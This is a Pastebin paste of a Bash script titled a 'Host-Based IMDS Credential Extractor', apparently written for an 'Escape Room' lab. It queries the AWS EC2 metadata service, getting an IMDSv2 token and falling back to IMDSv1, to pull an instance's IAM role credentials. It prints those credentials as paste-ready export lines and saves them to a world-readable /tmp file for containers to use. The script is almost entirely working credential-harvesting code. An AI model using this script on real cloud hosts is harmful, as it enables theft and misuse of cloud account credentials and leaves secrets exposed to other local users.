orenma

getTolen.sh

Aug 14th, 2025
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 13.07 KB | Cybersecurity | 0 0
  1. #!/bin/bash
  2.  
  3. # Host-Based IMDS Credential Extractor
  4. # Based on the Medium article about IMDSv2 enforcement and container restrictions
  5. # https://medium.com/kernel-space/the-dangers-of-modifyinstanceattribute-d4290ca7a457
  6.  
  7. echo "==== Host-Based IMDS Credential Extractor ===="
  8. echo "Based on research from: https://medium.com/kernel-space/the-dangers-of-modifyinstanceattribute-d4290ca7a457"
  9. echo ""
  10.  
  11. DEBUG=${DEBUG:-0}
  12.  
  13. debug_log() {
  14.     if [ "$DEBUG" -eq 1 ]; then
  15.         echo "[DEBUG] $1" >&2
  16.     fi
  17. }
  18.  
  19. # Check if we're running on the host vs container
  20. check_environment() {
  21.     echo "[*] Checking execution environment..."
  22.    
  23.     if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then
  24.         echo "[!] WARNING: Running inside container - this may fail due to iptables restrictions"
  25.         echo "[!] The article explains that containers often have blocked IMDS access"
  26.         echo "[!] Attempting anyway, but consider running on the host..."
  27.         return 1
  28.     else
  29.         echo "[+] Running on host system - optimal for IMDS access"
  30.         return 0
  31.     fi
  32. }
  33.  
  34. # Check EC2 metadata configuration (as mentioned in the article)
  35. check_metadata_configuration() {
  36.     echo "[*] Checking EC2 instance metadata configuration..."
  37.    
  38.     # Get instance ID first
  39.     local instance_id
  40.     instance_id=$(timeout 5 curl -s http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null)
  41.    
  42.     if [ -n "$instance_id" ]; then
  43.         echo "[+] Instance ID: $instance_id"
  44.        
  45.         # Check if we have AWS CLI to inspect metadata options
  46.         if command -v aws >/dev/null; then
  47.             echo "[*] Checking instance metadata options..."
  48.             local metadata_options
  49.             metadata_options=$(aws ec2 describe-instances \
  50.                 --instance-ids "$instance_id" \
  51.                 --query 'Reservations[].Instances[].MetadataOptions' \
  52.                 --output json 2>/dev/null)
  53.            
  54.             if [ -n "$metadata_options" ]; then
  55.                 echo "[+] Metadata Options:"
  56.                 echo "$metadata_options" | jq . 2>/dev/null || echo "$metadata_options"
  57.                
  58.                 # Check if IMDSv2 is enforced
  59.                 local imdsv2_required
  60.                 imdsv2_required=$(echo "$metadata_options" | jq -r '.[].HttpTokens' 2>/dev/null)
  61.                 if [ "$imdsv2_required" = "required" ]; then
  62.                     echo "[!] IMDSv2 is ENFORCED (HttpTokens: required)"
  63.                     echo "[!] This explains why PUT requests are needed for tokens"
  64.                 else
  65.                     echo "[+] IMDSv2 is optional (HttpTokens: $imdsv2_required)"
  66.                 fi
  67.             fi
  68.         else
  69.             echo "[*] AWS CLI not available - cannot check metadata options"
  70.         fi
  71.     else
  72.         echo "[-] Cannot retrieve instance ID - may not be running on EC2"
  73.         return 1
  74.     fi
  75. }
  76.  
  77. # Test basic IMDS connectivity
  78. test_imds_connectivity() {
  79.     echo "[*] Testing IMDS connectivity..."
  80.    
  81.     # Test basic connectivity
  82.     local basic_response
  83.     basic_response=$(timeout 5 curl -s -w "HTTP_CODE:%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null)
  84.    
  85.     if echo "$basic_response" | grep -q "HTTP_CODE:200"; then
  86.         echo "[+] Basic IMDS access working (HTTP 200)"
  87.         return 0
  88.     elif echo "$basic_response" | grep -q "HTTP_CODE:401"; then
  89.         echo "[+] IMDS responding with HTTP 401 (IMDSv2 enforced - this is expected)"
  90.         return 0
  91.     else
  92.         echo "[-] IMDS not accessible: $basic_response"
  93.         return 1
  94.     fi
  95. }
  96.  
  97. # Method 1: Standard IMDSv2 (should work on host)
  98. try_imdsv2_standard() {
  99.     echo "[*] Method 1: Standard IMDSv2 token request (host-based)..."
  100.    
  101.     # Request token with verbose output for debugging
  102.     local token_response token
  103.     if [ "$DEBUG" -eq 1 ]; then
  104.         echo "[DEBUG] Making verbose token request..."
  105.         token_response=$(timeout 10 curl -v -X PUT \
  106.             -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  107.             http://169.254.169.254/latest/api/token 2>&1)
  108.        
  109.         echo "[DEBUG] Token response: $token_response"
  110.         token=$(echo "$token_response" | tail -n 1 | tr -d '\r\n ')
  111.     else
  112.         token=$(timeout 10 curl -s -X PUT \
  113.             -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  114.             http://169.254.169.254/latest/api/token 2>/dev/null | tr -d '\r\n ')
  115.     fi
  116.    
  117.     if [ -n "$token" ] && [ ${#token} -gt 10 ]; then
  118.         echo "[+] IMDSv2 token obtained successfully!"
  119.         echo "[+] Token: ${token:0:20}..."
  120.        
  121.         # Get role name
  122.         local role_name
  123.         role_name=$(timeout 10 curl -s \
  124.             -H "X-aws-ec2-metadata-token: $token" \
  125.             http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null | tr -d '\r\n ')
  126.        
  127.         if [ -n "$role_name" ]; then
  128.             echo "[+] IAM Role found: $role_name"
  129.            
  130.             # Get credentials
  131.             local creds
  132.             creds=$(timeout 15 curl -s \
  133.                 -H "X-aws-ec2-metadata-token: $token" \
  134.                 "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role_name" 2>/dev/null)
  135.            
  136.             if [ -n "$creds" ] && echo "$creds" | grep -q "AccessKeyId"; then
  137.                 echo "[+] Credentials retrieved successfully!"
  138.                 export_credentials "$creds"
  139.                 return 0
  140.             else
  141.                 echo "[-] Failed to retrieve credentials"
  142.                 debug_log "Credentials response: $creds"
  143.             fi
  144.         else
  145.             echo "[-] No IAM role found"
  146.         fi
  147.     else
  148.         echo "[-] Failed to obtain IMDSv2 token"
  149.         debug_log "Token response: $token"
  150.     fi
  151.    
  152.     return 1
  153. }
  154.  
  155. # Method 2: Try IMDSv1 fallback (as mentioned in article)
  156. try_imdsv1_fallback() {
  157.     echo "[*] Method 2: Attempting IMDSv1 fallback..."
  158.    
  159.     # Test if IMDSv1 is available
  160.     local imdsv1_test
  161.     imdsv1_test=$(timeout 5 curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null)
  162.    
  163.     if [ -n "$imdsv1_test" ] && ! echo "$imdsv1_test" | grep -q "401\|Unauthorized"; then
  164.         echo "[+] IMDSv1 appears to be available"
  165.        
  166.         # Try to get role via IMDSv1
  167.         local role_name
  168.         role_name=$(timeout 10 curl -s \
  169.             http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null | tr -d '\r\n ')
  170.        
  171.         if [ -n "$role_name" ]; then
  172.             echo "[+] IAM Role found via IMDSv1: $role_name"
  173.            
  174.             # Get credentials via IMDSv1
  175.             local creds
  176.             creds=$(timeout 15 curl -s \
  177.                 "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role_name" 2>/dev/null)
  178.            
  179.             if [ -n "$creds" ] && echo "$creds" | grep -q "AccessKeyId"; then
  180.                 echo "[+] Credentials retrieved via IMDSv1!"
  181.                 export_credentials "$creds"
  182.                 return 0
  183.             fi
  184.         fi
  185.     else
  186.         echo "[-] IMDSv1 not available (likely disabled for security)"
  187.     fi
  188.    
  189.     return 1
  190. }
  191.  
  192. # Method 3: Container to host credential forwarding
  193. setup_credential_forwarding() {
  194.     echo "[*] Method 3: Setting up credential forwarding for containers..."
  195.    
  196.     # If we successfully got credentials on host, set up forwarding
  197.     if [ -n "$AWS_ACCESS_KEY_ID" ]; then
  198.         echo "[+] Setting up credential forwarding to containers..."
  199.        
  200.         # Create credential file that containers can access
  201.         local cred_file="/tmp/aws_credentials_escape_room"
  202.         cat > "$cred_file" << EOF
  203. # AWS Credentials for Escape Room Lab
  204. # Generated: $(date)
  205. export AWS_ACCESS_KEY_ID="$AWS_ACCESS_KEY_ID"
  206. export AWS_SECRET_ACCESS_KEY="$AWS_SECRET_ACCESS_KEY"
  207. export AWS_SESSION_TOKEN="$AWS_SESSION_TOKEN"
  208. EOF
  209.        
  210.         chmod 644 "$cred_file"
  211.         echo "[+] Credentials saved to: $cred_file"
  212.         echo "[+] Containers can source this file to get credentials"
  213.         echo ""
  214.         echo "# In container, run:"
  215.         echo "source $cred_file"
  216.        
  217.         return 0
  218.     fi
  219.    
  220.     return 1
  221. }
  222.  
  223. # Enhanced credential export
  224. export_credentials() {
  225.     local creds="$1"
  226.     echo "[*] Parsing and exporting credentials..."
  227.    
  228.     # Try jq first, then fall back to grep
  229.     if command -v jq >/dev/null 2>&1; then
  230.         export AWS_ACCESS_KEY_ID=$(echo "$creds" | jq -r '.AccessKeyId' 2>/dev/null)
  231.         export AWS_SECRET_ACCESS_KEY=$(echo "$creds" | jq -r '.SecretAccessKey' 2>/dev/null)
  232.         export AWS_SESSION_TOKEN=$(echo "$creds" | jq -r '.Token' 2>/dev/null)
  233.         local EXPIRATION=$(echo "$creds" | jq -r '.Expiration' 2>/dev/null)
  234.     else
  235.         export AWS_ACCESS_KEY_ID=$(echo "$creds" | grep -oP '"AccessKeyId"\s*:\s*"\K[^"]+' | head -n 1)
  236.         export AWS_SECRET_ACCESS_KEY=$(echo "$creds" | grep -oP '"SecretAccessKey"\s*:\s*"\K[^"]+' | head -n 1)
  237.         export AWS_SESSION_TOKEN=$(echo "$creds" | grep -oP '"Token"\s*:\s*"\K[^"]+' | head -n 1)
  238.         local EXPIRATION=$(echo "$creds" | grep -oP '"Expiration"\s*:\s*"\K[^"]+' | head -n 1)
  239.     fi
  240.  
  241.     if [ -n "$AWS_ACCESS_KEY_ID" ] && [ -n "$AWS_SECRET_ACCESS_KEY" ] && [ -n "$AWS_SESSION_TOKEN" ]; then
  242.         echo ""
  243.         echo "============================================"
  244.         echo "# 🎯 AWS Credentials Successfully Retrieved!"
  245.         echo "# 📖 Using method from Medium article research"
  246.         echo "============================================"
  247.         echo ""
  248.         echo "# Copy and paste these commands:"
  249.         echo "export AWS_ACCESS_KEY_ID=\"$AWS_ACCESS_KEY_ID\""
  250.         echo "export AWS_SECRET_ACCESS_KEY=\"$AWS_SECRET_ACCESS_KEY\""
  251.         echo "export AWS_SESSION_TOKEN=\"$AWS_SESSION_TOKEN\""
  252.         echo ""
  253.         if [ -n "$EXPIRATION" ]; then
  254.             echo "# Credentials expire at: $EXPIRATION"
  255.             echo ""
  256.         fi
  257.         echo "# Verify with: aws sts get-caller-identity"
  258.         echo ""
  259.         echo "# 📝 For container use, see credential forwarding above"
  260.         echo "============================================"
  261.         return 0
  262.     else
  263.         echo "[-] Failed to parse credentials properly"
  264.         debug_log "Raw credentials: $creds"
  265.         return 1
  266.     fi
  267. }
  268.  
  269. # Check for iptables rules blocking container access (as per article)
  270. check_iptables_restrictions() {
  271.     echo "[*] Checking for iptables restrictions (as described in article)..."
  272.    
  273.     if command -v iptables >/dev/null && [ "$EUID" -eq 0 ]; then
  274.         echo "[+] Checking iptables rules for metadata service..."
  275.        
  276.         # Check for rules affecting 169.254.169.254
  277.         local metadata_rules
  278.         metadata_rules=$(iptables -L -n -v 2>/dev/null | grep "169.254.169.254")
  279.        
  280.         if [ -n "$metadata_rules" ]; then
  281.             echo "[+] Found iptables rules for metadata service:"
  282.             echo "$metadata_rules"
  283.         else
  284.             echo "[*] No specific iptables rules found for metadata service"
  285.         fi
  286.        
  287.         # Check Docker iptables rules
  288.         local docker_rules
  289.         docker_rules=$(iptables -t nat -L DOCKER -n -v 2>/dev/null | grep "169.254.169.254")
  290.        
  291.         if [ -n "$docker_rules" ]; then
  292.             echo "[+] Found Docker iptables rules for metadata service:"
  293.             echo "$docker_rules"
  294.         fi
  295.        
  296.     else
  297.         echo "[*] Cannot check iptables (need root privileges)"
  298.     fi
  299. }
  300.  
  301. # Main execution
  302. main() {
  303.     if [ "$1" == "--debug" ] || [ "$1" == "-d" ]; then
  304.         export DEBUG=1
  305.         echo "[DEBUG] Debug mode enabled"
  306.     fi
  307.    
  308.     # Environment check
  309.     local is_host=0
  310.     check_environment && is_host=1
  311.    
  312.     echo ""
  313.    
  314.     # Configuration check
  315.     check_metadata_configuration
  316.     echo ""
  317.    
  318.     # Connectivity test
  319.     if ! test_imds_connectivity; then
  320.         echo "[-] Basic IMDS connectivity failed"
  321.         exit 1
  322.     fi
  323.     echo ""
  324.    
  325.     # Try IMDSv2 first (should work on host)
  326.     if try_imdsv2_standard; then
  327.         setup_credential_forwarding
  328.         exit 0
  329.     fi
  330.    
  331.     echo ""
  332.    
  333.     # Try IMDSv1 fallback
  334.     if try_imdsv1_fallback; then
  335.         setup_credential_forwarding
  336.         exit 0
  337.     fi
  338.    
  339.     echo ""
  340.    
  341.     # Check for restrictions
  342.     check_iptables_restrictions
  343.    
  344.     echo ""
  345.     echo "============================================"
  346.     echo "[-] ❌ Failed to retrieve credentials"
  347.     echo "============================================"
  348.     echo ""
  349.     echo "Based on the Medium article analysis:"
  350.     echo "1. IMDSv2 may be enforced (requires PUT requests)"
  351.     echo "2. Container iptables rules may block metadata access"
  352.     echo "3. Network policies may prevent container IMDS access"
  353.     echo ""
  354.     if [ "$is_host" -eq 0 ]; then
  355.         echo "💡 RECOMMENDATION: Run this script on the HOST system:"
  356.         echo "   1. Exit the container"
  357.         echo "   2. Run this script directly on the EC2 host"
  358.         echo "   3. Use credential forwarding for container access"
  359.     fi
  360.     echo "============================================"
  361.    
  362.     exit 1
  363. }
  364.  
  365. main "$@"
Advertisement
Add Comment
Please, Sign In to add comment